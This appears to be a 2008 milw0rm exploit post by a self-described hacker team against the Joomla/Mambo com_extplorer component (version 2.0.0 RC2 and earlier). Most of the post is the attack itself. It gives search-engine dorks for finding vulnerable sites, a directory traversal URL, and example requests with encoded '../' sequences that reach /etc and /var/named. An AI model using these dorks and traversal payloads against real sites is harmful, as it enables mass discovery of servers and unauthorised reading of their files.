26 lines
No EOL
1.2 KiB
Text
26 lines
No EOL
1.2 KiB
Text
--------------------------------------------------------------------------------------------------------------
|
|
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
|
|
--------------------------------------------------------------------------------------------------------------
|
|
|
|
= Author : HouSSaMix
|
|
= Script : Joomla and Mambo Component com_extplorer
|
|
= version : <= 2.0.0 RC2
|
|
= Download : http://joomlacode.org/gf/download/frsrelease/6717/21992/com_extplorer_2.0.0_RC2.zip
|
|
|
|
= Dork1 : inurl:index.php?option=com_extplorer
|
|
= Dork2 : powered by extplorer
|
|
|
|
|
|
= BUG : Local Directory Traversal
|
|
|
|
exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory]
|
|
|
|
example :
|
|
site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
|
|
site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
|
|
|
|
= greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers
|
|
|
|
=================================================================================================================
|
|
|
|
# milw0rm.com [2008-04-13] |